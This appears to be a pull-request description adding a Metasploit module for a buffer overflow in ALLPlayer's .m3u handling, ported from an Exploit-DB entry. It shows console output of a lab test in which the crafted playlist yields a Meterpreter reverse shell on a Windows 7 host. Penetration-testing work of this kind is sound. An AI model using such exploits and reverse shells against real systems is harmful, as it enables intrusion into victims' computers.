Add module for OSVDB-98283

This is an MSF port of http://www.exploit-db.com/exploits/32041.

Tested successfully on Windows 7 SP1, see results below:
```
msf > use exploit/windows/fileformat/allplayer_m3u_bof
msf exploit(allplayer_m3u_bof) > run

[*] Creating 'msf.m3u' file ...
[+] msf.m3u stored at /home/gabor/.msf4/local/msf.m3u
msf exploit(allplayer_m3u_bof) > use exploit/multi/handler
msf exploit(handler) > run

[*] Started reverse handler on 192.168.171.128:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.171.131
[*] Meterpreter session 1 opened (192.168.171.128:4444 -> 192.168.171.131:49184) at 2014-03-04 00:43:20 +0100

meterpreter > sysinfo
Computer        : WIN-BCJL9PJ5BF5
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```